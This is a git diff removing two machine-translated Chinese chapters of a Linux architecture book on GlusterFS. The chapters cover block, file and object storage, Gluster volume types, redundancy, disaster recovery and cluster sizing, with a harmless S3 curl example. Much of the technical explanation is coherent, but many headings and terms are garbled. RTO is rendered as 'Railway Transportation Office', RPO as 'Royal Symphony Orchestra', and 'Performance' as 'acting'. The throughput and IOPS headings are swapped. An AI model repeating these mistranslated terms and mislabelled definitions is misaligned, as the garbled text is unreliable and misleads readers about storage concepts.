-当公司存储这种类型的数据(称为**大容量数据**)时,他们不仅需要存档,还需要以尽可能低的延迟访问它。想象一下这样一个场景:在医生预约期间,你被派去拍 x 光片,当你到达时,他们告诉你,你必须等一周才能得到你的扫描,因为他们没有存储空间来保存你的图像。自然,这种情况不会发生,因为每个医院都有一个高效的采购流程,他们可以根据存储消耗预测使用情况,并决定何时开始购买和安装新硬件,但您会有这样的想法。将一个 POSIX 标准的服务器安装到您的 SDS 层中并做好准备会更快更有效。 - -# GlusterFS - -许多其他公司也需要数据湖作为辅助存储,主要是以原始形式存储数据,用于分析、实时分析、机器学习等。SDS 非常适合这种类型的存储,主要是因为所需的维护很少,也是因为我们之前讨论过的经济原因。 - -我们主要讨论了 SDS 的经济性和可扩展性,但也必须提到它带来的高度灵活性。从归档数据和存储 reach media 到为**虚拟机** ( **虚拟机**)提供存储,SDS 可以用于各种用途,作为您的私有云甚至容器中的对象存储端点。它可以部署在前面提到的任何基础架构上。它可以在您选择的公共云上运行,可以在您当前的内部虚拟基础架构中运行,甚至可以在 Docker 容器或 Kubernetes pod 中运行。事实上,它非常灵活,您甚至可以使用名为 *heketi* 的 RESTful 管理界面将 Kubernetes 与 GlusterFS 集成在一起,每当您的 pods 需要持久卷时,该界面都会动态调配卷。 - -# 块、文件和对象存储 - -既然我们已经了解了为什么 SDS 是下一代工作负载的未来,现在是时候深入研究一下我们可以使用 SDS 实现的存储类型了。 - -传统的**存储区域网络** ( **SAN** )和 NAS 解决方案通常使用协议为存储提供服务,例如**互联网小型计算机系统接口** ( **iSCSI** )、**光纤通道** ( **FC** )、**以太网光纤** **通道** ( **FCoE** )、**网络文件系统** ( **NFS** )和然而,由于我们越来越倾向于云,我们的存储需求发生了变化,这就是对象存储发挥作用的地方。我们将探讨什么是对象存储,以及它与数据块和文件存储的比较。GlusterFS 也是一个文件存储解决方案,但它具有块和对象存储功能,可以进一步配置。 - -下图显示了块、文件和对象存储: - -![](img/21326729-1160-4c53-b272-9745456b4f9a.png) - -当涉及到客户端如何将数据存储在数据块存储、文件存储和对象存储中时,它们的工作方式截然不同,导致它们的用例完全不同。 - -# 块存储器 - -存储区域网络是主要使用数据块存储的地方,使用光纤通道或 iSCSI 等协议,这些协议本质上是分别通过光纤通道和 TCP/IP 的**小型计算机系统接口** ( **SCSI** )协议的映射。 - -典型的光纤通道存储区域网络如下图所示: - -![](img/37d1c291-1ddc-4951-ad4e-035dda119178.png) - -典型的 iSCSI 存储区域网络如下图所示: - -![](img/45a4ac04-e210-4c3b-bb83-57316dabb29a.png) - -数据存储在逻辑块地址中。当检索数据时,应用通常会说— *我想要地址 XXYYZZZ*的 X 个块。这个过程往往非常快(不到一毫秒),使得这种类型的存储延迟非常低,是一种非常面向事务的存储形式,非常适合随机访问。然而,在跨多个系统共享时,它也有其缺点。这是因为数据块存储通常以其原始形式出现,并且您需要在其顶部有一个文件系统,该文件系统可以支持跨不同系统的多次写入而不会损坏,换句话说,就是一个集群文件系统。 - -这种类型的存储在高可用性或灾难恢复方面也有一些缺点;因为它是以原始形式呈现的,所以存储控制器和管理器不知道该存储是如何使用的。因此,在将数据复制到恢复点时,它只考虑数据块,而一些文件系统在回收或清零数据块方面非常糟糕,这导致未使用的数据块也被复制,从而导致存储利用率不足。 - -由于其优势和低延迟,数据块存储非常适合结构化数据库、随机读/写操作以及存储多个虚拟机映像,这些虚拟机映像通过数百(如果不是数千)个输入/输出请求来查询磁盘。为此,群集文件系统旨在支持来自不同主机的多次读写。 - -但是,由于其优缺点,数据块存储需要相当多的注意和补充—您需要注意要放在数据块设备上的文件系统和分区。此外,您必须确保文件系统保持一致和安全,具有正确的权限,并且在所有访问它的系统中没有损坏。虚拟机的虚拟磁盘中存储了其他文件系统,这也增加了另一层复杂性—数据可以写入虚拟机的文件系统,也可以写入虚拟机管理程序的文件系统。这两个文件系统都有来来去去的文件,在精简资源调配的复制场景中,需要对它们进行适当的调零,以便回收数据块,而且,正如我们之前提到的,大多数存储阵列都不知道向它们写入的实际数据。 - -# 文件存储器 - -另一方面,文件存储或 NAS 要简单得多。您不必担心分区,或者选择和格式化适合您的多主机环境的文件系统。 - -NAS 通常是 NFS 或 SMB/CIFS 协议,主要用于将共享文件夹中的数据存储为非结构化数据。这些协议不太擅长扩展或满足我们在云中面临的高媒体需求,例如社交媒体服务和每天创建/上传数千个图像或视频。这就是对象存储的作用,但是我们将在本章的后面介绍对象存储。 - -文件存储,顾名思义,当您向 NAS 执行请求时,它在存储的文件级别工作;您正在从文件系统请求一个文件或一个文件的一部分,而不是一系列逻辑地址。使用网络连接存储,此过程从主机(装载存储的位置)中抽象出来,您的存储阵列或 SDS 负责访问后端的磁盘并检索您请求的文件。文件存储还带有本机功能,如文件锁定、用户和组集成(当我们谈论操作系统时,我们主要是在这里谈论 NFS)、安全性和加密。 - -尽管网络连接存储对客户端进行了抽象和简化,但它也有其缺点,因为网络连接存储严重依赖网络,如果不是完全依赖网络的话。它还有一个额外的文件系统层,延迟比数据块存储高得多。许多因素会导致延迟或增加**往返时间** ( **RTT** )。您需要考虑诸如您的网络连接存储离客户端有多少跳、TCP 窗口缩放或在访问您的文件共享的设备上没有启用巨型帧等问题。此外,所有这些因素不仅会影响延迟,而且在您的 NAS 解决方案的吞吐量方面也是关键因素,而这正是文件存储最擅长的地方。 - -下图展示了文件存储共享的多功能性: - -![](img/e1d8ff10-cd79-433d-9875-70b65d8ec7c1.png) - -# 对象存储 - -对象存储与 NAS(文件存储)和 SAN(数据块存储)完全不同。尽管数据仍然可以通过网络访问,但检索数据的方式却有着独特的不同。您不会通过文件系统访问文件,而是通过使用 HTTP 方法的 RESTful APIs。 - -对象存储在一个平面命名空间中,这个命名空间可以存储数百万或数十亿个对象;这是其高可伸缩性的关键,因为它不像在常规文件系统(如 XFS 和 EXT4)中那样受到节点数量的限制。重要的是要知道,命名空间可以有分区(通常称为桶),但它们不能嵌套为文件系统中的常规文件夹,因为命名空间是平面的: - -![](img/d81a09ae-c01d-46d8-aa33-f29999148167.png) - -当比较对象存储和传统存储时,经常使用自动泊车和代客泊车的类比。为什么会这样类似?因为,在传统的文件系统中,当你存储文件时,你把它存储在一个文件夹或目录中,你有责任知道文件存储在哪里,就像在停车场停车一样——你需要记住你把车停在哪里的号码和楼层。另一方面,使用对象存储,当您上传数据或将文件放入存储桶时,您将获得一个唯一的标识符,以后可以使用它来检索数据;你不需要记得它存放在哪里。就像一个代客,他会去给你取车,你只需要把你下车时收到的票给他们。 - -继续代客泊车参考,你通常会给你的代客提供他们需要的车的信息,不是因为他们需要,而是因为他们可以通过这种方式更好地识别你的车——例如,车的颜色、车牌号或型号会对他们有很大帮助。对于对象存储,过程是相同的。每个对象都有自己的元数据、唯一标识和文件本身,它们都是存储对象的一部分。 - -下图显示了对象存储中对象的组成部分: - -![](img/9055589c-e121-4f79-b61c-773602d62904.png) - -正如我们多次提到的,对象存储是通过 RESTful APIs 访问的。因此,理论上,任何支持 HTTP 协议的设备都可以通过`PUT`或`GET`等 HTTP 方法访问您的对象存储桶。这听起来不安全,但事实上,大多数软件定义的对象存储都有某种类型的身份验证方法,您需要一个身份验证令牌来检索或上传文件。使用 Linux `curl`工具的简单请求可能如下所示: - -```sh -curl -X PUT -T "${path_to_file}" \ - -H "Host: ${bucket_name}.s3.amazonaws.com" \ - -H "Date: ${date}" \ - -H "Content-Type: ${contentType}" \ - -H "Authorization: AWS ${s3Key}:${signature}" \ - https://${bucket}.s3.amazonaws.com/${file} -``` - -在这里,我们可以看到多个不同的设备如何通过 HTTP 协议连接到云中的对象存储桶: - -![](img/08e53f1f-9861-4a8b-b7f1-4f566628aefa.png) - -# 为什么选择 GlusterFS? - -现在我们已经了解了 SDS、存储集群的核心概念,以及数据块、文件和对象存储之间的区别,我们可以了解企业客户选择 GlusterFS 来满足其存储需求的一些原因。 - -如前所述,GlusterFS 是一个 SDS,即位于传统本地存储挂载点之上的一层,允许将多个节点之间的存储空间聚合到单个存储实体或存储集群中。GlusterFS 可以在货架商品硬件上运行到私有、公共或混合云。虽然它的主要用途是文件存储(NAS),但有几个插件允许它通过 gluster-block 插件用作块存储的后端,并通过 gluster-swift 插件用作对象存储的后端。 - -定义 GlusterFS 的一些主要特性如下: - -* 商品硬件 -* 可以部署在私有云、公共云或混合云上 -* 没有单点故障 -* 可量测性 -* 异步地理复制 -* 表演 -* 自愈 -* 灵活性 - -# GlusterFS 特性 - -让我们逐一了解这些特性,了解为什么 GlusterFS 对企业客户如此有吸引力。 - -# 商品硬件——GlusterFS 几乎可以在任何东西上运行 - -从树莓 Pi 上的**高级 RISC 机器** ( **ARM** )到任何一种 x86 硬件,Gluster 只需要作为砖块使用的本地存储,这为卷的存储奠定了基础。不需要专用硬件或专用存储控制器。 - -在其最基本的配置中,格式化为 XFS 的单个磁盘可以与单个节点一起使用。虽然不是最佳配置,但它允许通过添加更多砖块或节点来进一步增长。 - -# GlusterFS 可以部署在私有、公共或混合云上 - -从容器映像到专用于 GlusterFS 的完整虚拟机,云客户感兴趣的主要点之一是,由于 GlusterFS 只是软件,它可以部署在私有、公共或混合云上。由于没有供应商,锁定跨不同云提供商的卷是完全可能的。允许具有高可用性设置的多云提供商卷,这样当一个云提供商出现问题时,根据配置,卷流量可以以最少甚至没有停机时间的方式转移到完全不同的提供商。 - -# 没有单点故障 - -根据卷配置,数据分布在群集中的多个节点上,消除了单点故障,因为没有`head` 或`master` 节点控制群集。 - -# 可量测性 - -GlusterFS 允许通过垂直添加新块或水平向集群添加新节点来平滑扩展资源。 - -所有这些都可以在群集提供数据的同时在线完成,而不会中断客户端的通信。 - -# 异步地理复制 - -GlusterFS 采用无单点故障的概念,它提供了地理复制,允许数据异步复制到完全不同的地球物理数据中心的集群中。 - -下图显示了跨多个站点的地理复制: - -![](img/6a4c90ba-0cb9-499b-928a-86e6aeaff77e.png) - -# 表演 - -由于数据分布在多个节点上,我们还可以让多个客户端同时访问集群。这种同时从多个源访问数据的过程称为并行,GlusterFS 通过将客户端定向到不同的节点来提高性能。此外,可以通过添加砖块或节点来提高性能—有效地,通过水平或垂直扩展。 - -# 自愈 - -在意外停机的情况下,剩余的节点仍然可以服务于流量。如果在其中一个节点关闭时向群集添加了新数据,则需要在该节点重新启动时同步这些数据。 - -一旦这些新文件被访问,GlusterFS 将自动自修复,在节点之间触发自修复操作,并复制丢失的数据。这对用户和客户来说是透明的。 - -# 灵活性 - -GlusterFS 可以部署在现有硬件或虚拟基础设施上,也可以作为虚拟机或容器部署在云上。对于如何部署它没有限制,客户可以决定什么最适合他们的需求。 - -# 远程直接内存访问(RDMA) - -RDMA 允许 Gluster 服务器和 Gluster 客户端之间的超低延迟和极高性能的网络通信。GlusterFS 可以利用 RDMA 实现高性能计算应用和高并发工作负载。 - -# 沉闷的音量类型 - -了解了 GlusterFS 的核心特性后,我们现在可以定义 GlusterFS 提供的不同类型的卷了。这将有助于我们在接下来的章节中深入研究 GlusterFS 解决方案的实际设计。 - -GlusterFS 提供了选择最适合工作负载需求的卷类型的灵活性;例如,对于高可用性需求,我们可以使用复制卷。这种类型的卷在两个或多个节点之间复制数据,得到每个节点的精确副本。 - -让我们快速列出可用的卷类型,稍后,我们将讨论它们各自的优缺点: - -* 分布式的 -* 复制 -* 分布式复制 -* 被驱散的 -* 分散的 - -# 分布式的 - -顾名思义,数据分布在卷中的砖块和节点上。这种类型的体积允许可用空间的无缝和低成本增加。主要缺点是没有数据冗余,因为文件是在可能位于同一节点或不同节点的块之间分配的。它主要用于高存储容量和并发应用。 - -可以将这种卷类型想象为**只是一堆磁盘**(**【JBOD】**)或者一个线性的**逻辑卷管理器** ( **LVM** )空间只是聚合在一起,没有任何剥离或奇偶校验。 - -下图显示了分布式卷: - -![](img/54bad647-9417-49c4-ae05-6402334472b3.png) - -# 复制 - -在复制的卷中,数据跨不同节点上的块复制。扩展复制卷需要添加相同数量的副本。例如,如果我有一个包含两个副本的卷,并且我想要扩展它,我总共需要四个副本。 - -复制的卷可以与 RAID1 相比较,在 raid 1 中,数据在所有可用节点之间镜像。它的缺点之一是可扩展性相对有限。另一方面,它的主要特点是高可用性,因为即使在意外停机的情况下也能为数据提供服务。 - -有了这种体积,就必须实施避免大脑分裂的机制。当新数据写入卷,并且允许不同的节点集分别处理写入时,就会发生裂脑。服务器仲裁就是这样一种机制,因为它允许存在一个平局决胜者。 - -下图显示了复制的卷: - -![](img/f74ac36a-4b5e-4784-8cb0-db549f1313fc.png) - -# 分布式复制 - -分布式复制卷类似于复制卷,主要区别在于复制卷是分布式的。为了解释这一点,请考虑使用两个独立的复制卷,每个卷都有 10 TB 的空间。当两者都分布时,卷最终总共有 20 TB 的空间。 - -这种类型的卷主要用于需要高可用性和冗余的情况,因为群集可以容忍节点故障。 - -下图显示了分布式复制卷: - -![](img/1c01cd67-92b1-4cc1-8a91-93d2597d0327.png) - -# 被驱散的 - -分散的卷通过剥离所有可用区块中的数据,充分利用分布式卷和复制卷,同时允许冗余。砖块的大小应该相同,因为一旦最小的砖块变满,卷就会暂停所有写入。例如,想象一个分散的卷,如 RAID 5 或 6,其中数据被剥离并创建奇偶校验,从而允许从奇偶校验中重建数据。虽然这种类比有助于我们理解这种类型的卷,但实际过程完全不同,因为它使用擦除代码,将数据分成碎片。分散的卷提供了性能、空间和高可用性的适当平衡。 - -# 分散的 - -在分布式分散卷中,数据分布在分散类型的卷上。冗余是在分散的卷级别提供的,与分布式复制卷具有相似的优势。 - -想象一下,一个 JBOD 位于两个 RAID 5 阵列之上—增长这种类型的卷需要额外的分散卷。虽然不一定是相同的大小,但理想情况下,它应该保持相同的特性以避免并发症。 - -# 对高度冗余存储的需求 - -随着应用可用空间的增加,对存储的需求也随之增加。应用可能需要随时访问其信息,而不会造成任何可能危及整个业务连续性的中断。没有一家公司希望不得不应对中断,更不用说中央基础设施的中断,这将导致资金损失、客户得不到服务以及用户因错误决策而无法登录其帐户。 - -让我们考虑将数据存储在传统的单块存储阵列上—这样做可能会带来很大的风险,因为一切都在一个地方。包含公司所有信息的单个大规模存储阵列意味着运营风险,因为该阵列容易出现故障。每一种类型的硬件——无论多好——都会在某个时候出现故障。 - -单片阵列倾向于通过使用磁盘级别使用的传统 RAID 方法提供某种形式的冗余来处理故障。虽然这对于服务于几百个用户的小型本地存储来说是好事,但当我们达到 petascale,存储空间和活动并发用户急剧增加时,这可能不是一个好主意。在特定情况下,RAID 恢复可能会导致整个存储系统宕机或性能下降,以至于应用无法按预期工作。此外,随着磁盘大小的增加和单磁盘性能在过去几年中保持不变,恢复单个磁盘现在需要更长的时间;重建 1 TB 磁盘不同于重建 10 TB 磁盘。 - -存储集群(如 GlusterFS)通过提供最适合工作负载的方法,以不同的方式处理冗余。例如,使用复制卷时,数据会从一个节点镜像到另一个节点。如果一个节点发生故障,流量将无缝地定向到其余节点,对用户来说完全透明。一旦有问题的节点得到服务,它就可以快速地放回集群,在那里它将经历数据的自我修复。与传统存储相比,存储集群通过将数据分布到集群的多个成员来消除单点故障。 - -提高可用性意味着我们可以达成应用服务级别协议,并保持所需的正常运行时间。 - -# 灾难恢复 - -无法逃避——灾难总会发生,不管是自然的还是人为的错误。重要的是我们为他们做了多好的准备,以及我们恢复的速度和效率。 - -实施灾难恢复协议对于业务连续性至关重要。在继续之前,我们需要了解两个术语:**恢复时间目标** ( **RTO** )和**恢复点目标** ( **RPO** )。让我们快速浏览一下每一个。RTO 是从导致中断的故障或事件中恢复所需的时间。简单地说,它指的是我们可以多快地恢复应用。另一方面,RPO 指的是数据在不影响业务连续性的情况下,可以回到时间的哪一步,也就是你可以丢失多少数据。 - -RPO 的概念看起来是这样的: - -![](img/13880b4a-7116-4947-bb98-e1a8bbeb6aa9.png) - -# 铁路运输办事处(Railway Transportation Office 的缩写) - -如前所述,这是故障后恢复功能所需的时间。根据解决方案的复杂性,RTO 可能需要相当长的时间。 - -根据业务需求,RTO 可能短至几个小时。这就是设计一个高度冗余的解决方案的作用所在——通过减少重新运行所需的时间。 - -# 皇家交响乐队 - -这是数据丢失后仍能回到恢复点的时间量,换句话说,这是恢复点的获取频率;在备份的情况下,备份的频率(可以是每小时、每天或每周),在存储集群的情况下,复制更改的频率。 - -需要考虑的一件事是变化可以复制的速度,因为我们希望变化几乎可以立即复制;但是,由于带宽限制,大多数情况下不可能进行实时复制。 - -最后,需要考虑的一个基本因素是如何复制数据。通常,复制有两种类型:同步和异步。 - -# 同步复制 - -同步复制意味着数据在写入后立即复制。这对于最小化 RPO 非常有用,因为在数据从一个节点到另一个节点之间没有等待或漂移。GlusterFS 复制卷提供了这种类型的复制。还应考虑带宽,因为需要立即提交更改。 - -# 异步复制 - -异步复制意味着数据被复制到时间片段中,例如,每 10 分钟复制一次。在设置过程中,根据几个因素选择恢复点目标,包括业务需求和可用带宽。 - -带宽是首要考虑因素;这是因为,根据更改的大小,实时复制可能不适合 RPO 窗口,需要更长的复制时间,并直接影响 RPO 时间。如果带宽不受限制,则应选择同步复制。 - -事后看来,作为信息技术架构师,我们花了大量时间试图找出如何使我们的系统更具弹性。事实上,成功减少 RTO 和 RPO 时间可以标志着部分经过深思熟虑的解决方案和完全架构化的设计之间的区别。 - -# 对高性能的需求 - -随着越来越多的用户访问相同的资源,响应时间变得更慢,应用开始需要更长的时间来处理。在过去的几年里,传统存储的性能没有改变——单个硬盘驱动器的响应时间为几毫秒,每秒产生大约 150 兆字节。随着**非易失性存储器 express** ( **NVMe** )等闪存介质和协议的引入,单个 SSD 可以轻松实现每秒千兆字节和亚毫秒级的响应时间;SDS 可以利用这些新技术来提高性能并显著缩短响应时间。 - -企业存储旨在为数百个试图尽快获取数据的客户端处理多个并发请求,但当达到性能限制时,传统的整体存储会开始变慢,导致应用因请求未能及时完成而失败。提高此类存储的性能需要付出高昂的代价,而且在大多数情况下,当存储仍在为数据服务时,这是无法实现的。 - -提高性能的需求来自于存储服务器负载的增加;随着数据消费的爆炸式增长,用户存储的信息越来越多,对信息的需求也比以前快得多。 - -应用还要求尽快将数据传递给它们;例如,以股票市场为例,数以千计的用户每秒多次请求数据。与此同时,又有一千名用户在不断写入新数据。如果单笔交易没有及时提交,人们在买卖股票时将无法做出正确的决定,因为显示了错误的信息。 - -前面的问题是架构师在设计解决方案时必须面对的,该解决方案能够提供应用按预期工作所必需的预期性能。花费适当的时间来正确确定存储解决方案的规模,可以使整个流程更加顺畅,减少设计和实施之间的往返。 - -存储系统(如 GlusterFS)可以同时为成千上万的并发用户提供服务,而不会显著降低性能,因为数据分布在集群中的多个节点上。这种方法比访问单个存储位置(如传统阵列)要好得多。 - -# 并行输入输出 - -输入/输出是指向存储系统请求和写入数据的过程。这个过程是通过输入/输出流完成的,在输入/输出流中,一次请求一个数据块、文件或对象。 - -并行输入/输出是指多个流在同一存储系统上并发执行操作的过程。这提高了性能并减少了访问时间,因为可以同时读取或写入各种文件或块。 - -相比之下,串行输入/输出是执行单个输入/输出流的过程,这可能会导致性能下降和延迟或访问时间增加。 - -存储集群(如 GlusterFS)利用了并行输入/输出,因为数据分布在多个节点上,允许多个客户端同时访问数据,而不会降低延迟或吞吐量。 - -# 摘要 - -在本章中,我们介绍了什么是集群的核心概念,并将其定义为在相同类型的工作负载中一起工作的一组称为节点的计算机。计算集群的主要功能是执行运行 CPU 密集型工作负载的任务,这些任务旨在减少处理时间。存储集群的功能是将可用存储资源聚合到单个存储空间中,从而简化管理,并允许您高效地达到千兆位规模或超过 1pb 的可用空间。然后,我们探讨了 SDS 是如何改变数据存储方式的,以及 GlusterFS 是如何引领这一变化的项目之一。SDS 允许简化存储资源的管理,同时增加了传统单体存储阵列无法实现的功能。 - -为了进一步了解应用如何与存储交互,我们定义了数据块、文件和对象存储之间的核心区别。首先,块存储处理存储设备中的逻辑数据块,文件存储通过从存储空间读取或写入实际文件来工作,对象存储为每个对象提供元数据以供进一步交互。考虑到这些与存储的不同交互概念,我们接着指出了 GlusterFS 的特性,这些特性使其对企业客户具有吸引力,以及这些特性如何与 SDS 的含义联系在一起。 - -最后,我们深入研究了为什么高可用性和高性能是每个存储设计的必备条件,以及并行或串行输入/输出性能如何影响应用性能的主要原因。 - -在下一章中,我们将深入研究构建 GlusterFS 存储集群的实际过程。 - -# 问题 - -1. 如何优化我的存储性能? -2. GlusterFS 更适合哪种类型的工作负载? -3. 哪些云提供商提供对象存储? -4. GlusterFS 提供哪些类型的存储? -5. 红帽有 GlusterFS 吗? -6. 使用 GlusterFS 需要付费吗? -7. Gluster 提供灾难恢复还是复制? - -# 进一步阅读 - -* *Ceph Cookbook–第二版*作者:Vikhyat Umrao 和 Michael Hackett:[https://prod . packtpub . com/in/虚拟化与云/Ceph-Cookbook–第二版](https://prod.packtpub.com/in/virtualization-and-cloud/ceph-cookbook-second-edition) -* *掌握 Ceph* 作者:Nick Fisk:[https://prod . packtpub . com/in/大数据与商业智能/掌握-ceph](https://prod.packtpub.com/in/big-data-and-business-intelligence/mastering-ceph) -* *学习 Ceph-第二版*作者:Anthony D'Atri 和 Vaibhav Bhembre:[https://prod . packtpub . com/in/虚拟化与云/学习-Ceph-第二版](https://prod.packtpub.com/in/virtualization-and-cloud/learning-ceph-second-edition) \ No newline at end of file diff --git a/docs/handson-linux-arch/03.md b/docs/handson-linux-arch/03.md deleted file mode 100644 index 4a07dd15..00000000 --- a/docs/handson-linux-arch/03.md +++ /dev/null @@ -1,333 +0,0 @@ -# 三、构建存储集群 - -软件定义的存储改变了我们存储数据的方式;随着功能的增加,在设计合适的解决方案时,需求也会增加。设计存储集群时,需要考虑大量的变量。 - -本章探讨了使用 GlusterFS 及其各种组件实现软件定义的存储解决方案的不同设计方面。 - -在本章中,我们将涵盖以下主题: - -* GlusterFS 计算要求 -* 使用合适的存储大小 -* 定义性能需求 -* 决定高可用性的正确方法 -* 确定工作负载如何将一切联系在一起 - -# 技术要求 - -在本章中,我们将使用以下网址上的 GlusterFS 文档: - -* [https://www.gluster.org/](https://www.gluster.org/) -* [https://github . com/gluter/gluters](https://github.com/gluster/glusterfs) - -# GlusterFS 计算要求 - -与任何软件一样,GlusterFS 有一组由开发人员定义的要求,以确保它能按预期工作。文档中描述的实际要求相对较低,并且在过去 10 年中销售的几乎每台计算机都可以运行 GlusterFS。这可能不是最好的性能水平,但它仍然显示了能够在混合条件下运行的灵活性。 - -对于计算需求,我们在设计带有 GlusterFS 的解决方案时,主要需要考虑以下两个资源: - -* 随机存取存储 -* 中央处理器 - -# 随机存取存储 - -有了内存,选择就相对简单了——尽可能多地使用。不幸的是,没有无限内存这种东西,但是使用尽可能多的说法再真实不过了,因为 GlusterFS 使用内存作为每个节点的读缓存,同时 Linux 内核使用内存作为预读缓存来加速对频繁访问的文件的读取。 - -根据所选的砖块布局和文件系统,可用内存在读取性能中起着重要作用。作为使用高级 ZFS 文件系统的砖块的例子,它使用内存作为其**自适应替换缓存** ( **ARC** )。这在高速内存上增加了一层额外的缓存。缺点是它会消耗尽可能多的可用内存,所以选择一个提供大量内存的服务器会有很大帮助。 - -GlusterFS 不需要 1tb 的 RAM——每个节点拥有 32 GB 或更多的 RAM 可以确保缓存足够大,可以分配频繁访问的文件,如果通过向每个节点添加更多的砖块来增加集群的大小,则应该考虑添加更多的 RAM,以便增加缓存的可用内存。 - -# 为什么缓存很重要? - -请考虑以下情况:即使是像 DDR2 这样的旧内存技术,也可以在 GBps 提供吞吐量和几纳秒左右的延迟。另一方面,在大多数情况下,从常规旋转介质(硬盘驱动器)读取的吞吐量峰值为 150 MBps,延迟在几百毫秒内。 - -从缓存中读取总是比转到磁盘更快—等待磁盘移动其磁头,找到请求的数据块,然后将其发送回控制器和应用。 - -需要记住的一点是,缓存需要先预热;这是允许系统确定哪些文件正在被定期访问,然后将这些数据移动到缓存的过程。当它预热时,请求会变慢,因为它们首先必须从磁盘中取出。 - -# 中央处理器 - -任何软件都需要 CPU 周期,GlusterFS 也不例外。对 CPU 的要求比较低,这取决于所使用的卷的类型,例如,一个**复制卷**需要的 CPU 远远少于一个**分散卷**。 - -CPU 需求还受到砖块使用的文件系统类型和它们具有的功能的影响。回到 ZFS 的例子,如果启用压缩,这会增加 CPU 的负载,并且没有足够的 CPU 资源会大大降低性能。 - -对于一个简单的存储服务器,没有砖级的高级功能,任何具有四个或更多 CPU 的东西就足够了。启用文件系统功能(如压缩)时,需要八个或更多 CPU 才能获得最佳性能。此外,更多的中央处理器允许对集群进行更多的并发输入/输出。在为**高性能计算** ( **高性能计算**)应用设计存储集群时,这一点至关重要,在这些应用中,成千上万的用户同时执行输入/输出操作。 - -Use the following rules as general rules of thumb: - -* 对于高并发工作负载,根据并发级别,选择更高的 CPU 数量,超过 8 个 CPU -* 对于低性能要求和经济高效的解决方案,选择较少数量的 CPU,例如四个 CPU - -# 云考虑因素 - -许多云提供商为其虚拟机大小提供了一组固定的给定资源,这些资源不允许自定义 vCPU 与 RAM 的比率。找到正确的平衡取决于哪个虚拟机大小提供了必要的资源。 - -云中 GlusterFS 的概念将在接下来的章节中进一步详细探讨。但是,要了解这个概念的概述,让我们使用微软的 Azure 产品来探索虚拟机的大小。 - -Azure 虚拟机系列从通用计算到特定工作负载(如 GPU)都有。对于 GlusterFS,我们非常喜欢针对存储工作负载进行优化的 L 系列虚拟机。该虚拟机系列具有良好的 vCPU 与 RAM 之比,并且提供了所有系列中最高的存储性能与成本之比。 - -这个总体思路可以应用于其他云供应商。应该选择一个虚拟机大小,它能提供出色且经济高效的虚拟机配置单元与内存的比率。 - -# 你需要多大的空间? - -如果我们能使用我们需要的空间,那不是很好吗?现实中,存储是有成本的,无限存储是不存在的。 - -在确定可用存储规模时,必须考虑以下因素: - -* GlusterFS 卷型 -* 应用所需的空间 -* 预计增长 - -# GlusterFS 卷型 - -让我们从一些技术考虑开始。每个 GlusterFS 卷在可用空间方面都有其特点。根据卷的类型,最终可用空间可能会比最初计算的要少。我们将探讨我们在[第 2 章](02.html)、*定义 GlusterFS 存储*中描述的每种卷类型的空间考虑。 - -# 分布式的 - -这种音量类型相当简单。每个节点的可用空间总和是全局命名空间(GlusterFS 卷装载的另一个名称)上的总空间。 - -一个例子是 50 TB 容量的请求,其中砖块所需的空间量正好是 50 TB。这可以分为五个节点,每个节点 10 TB,或者两个节点,每个节点 25 TB。 - -# 复制 - -对于复制副本卷,一半的可用原始块空间用于数据的镜像或复制。这意味着,在调整这种类型的卷时,您需要将请求的存储容量至少增加一倍。这取决于卷的具体配置。一般的经验法则是,可用容量是砖块上总空间的一半。 - -例如,如果请求的是 50 TB 的卷,则节点配置应该在两个节点(每个 50 TB)之间的砖状空间中至少有 100 TB 可用。 - -# 被驱散的 - -分散的卷在大小上更加棘手,因为它们的功能类似于 RAID 5,在 RAID 5 中,数据分布在节点上,节点的容量用于奇偶校验。这取决于卷的配置,但是您可以预期空间效率会随着节点数量的增加而增加。 - -为了进一步解释,可以在 6 个节点上配置 50 TB 的卷请求,每个节点 10 TB。请注意,考虑了一个额外的节点。选择五个 10 TB 的节点,每个节点的容量只有 40 TB,低于请求的大小。 - -# 应用所需的空间 - -每个应用都有自己的一组需求,存储需求和任何其他需求一样必要。 - -提供媒体文件比用户少、媒体文件少的网站需要更多的资源。准确了解存储系统的预期用途有助于正确确定解决方案的规模,并防止出现存储估计值低于一开始所需的情况。 - -确保您了解应用开发人员推荐的最低要求,并了解它如何与存储交互,因为这有助于避免令人头痛的问题。 - -# 预计增长 - -作为建筑师,你的工作是问正确的问题。说到存储,请确保考虑到增长率或变化率。 - -考虑到无论发生什么情况,数据都会增长,提前思考可以避免空间不足的复杂情况,因此为未来的利用留出一些空间是一个很好的做法。留出 10%或更多的空间应该是一个很好的起点,因此,如果请求 50 TB 的空间,则向解决方案中增加 5 TB 的空间。 - -走最划算的路线。虽然 GlusterFS 允许无缝扩展,但请尽量避免将此功能用作简单的解决方案,并确保从一开始就定义了正确的大小,并为未来的增长考虑了缓冲区。 - -# 性能考虑 - -性能差的应用可能比根本不起作用的应用更糟糕。对任何企业来说,让一件事情在一半的时间里发挥作用都是令人难以置信的沮丧和昂贵。 - -作为一名架构师,您需要设计符合规范或更好的解决方案,以避免因性能不佳而出现问题的情况。 - -首先要定义什么是性能需求。大多数时候,应用开发人员会在他们的文档中提到性能需求。不满足这些最低要求意味着应用要么根本不工作,要么几乎不工作。两者都不可接受。 - -以下是设计面向性能的解决方案时需要注意的事项: - -* 生产能力 -* 潜伏 -* 吞吐量 -* 输入输出大小 - -# 生产能力 - -吞吐量是一定时间内给定数据量的函数,通常用**兆字节/秒** ( **兆位/秒**来描述。这意味着每秒从存储系统发送或接收 X 个数据量。 - -根据工作负载,最高吞吐量可能是不可能的,因为应用无法执行足够大或足够快的输入/输出。这里没有硬数字推荐。尝试获得尽可能高的吞吐量,并确保存储集群能够维持所需并发级别所需的传输速率。 - -# 潜伏 - -延迟至关重要,需要格外小心,因为一些应用对高延迟或响应时间非常敏感。 - -延迟是对完成输入/输出操作所需时间的度量,通常以毫秒为单位(1 秒等于 1000 毫秒)。高延迟或响应时间会导致应用需要更长时间才能响应,甚至完全停止工作。 - -争取尽可能低的延迟。在这种情况下,获得尽可能低的数字总是最好的方法。有了延迟,就不会有不够的问题,或者,在这种情况下,不会有太短的响应时间。考虑您使用的存储介质类型。传统硬盘驱动器的响应时间(或寻道时间)在几百毫秒范围内,而较新的固态驱动器可以超过亚毫秒标记并进入微秒。 - -# 吞吐量 - -每秒输入/输出操作数是给定操作数随时间变化的函数,在本例中为秒。这是一种衡量一秒钟可以完成多少操作的方法,许多应用都提供了关于 IOPS 的最低要求。 - -大多数应用都要求最低 IOPS 数,这样它才能按预期工作。请确保满足这些要求,否则应用可能无法正常运行。 - -在设计存储解决方案时,请确保在做出规模调整决策时,将 IOPS 考虑在内。 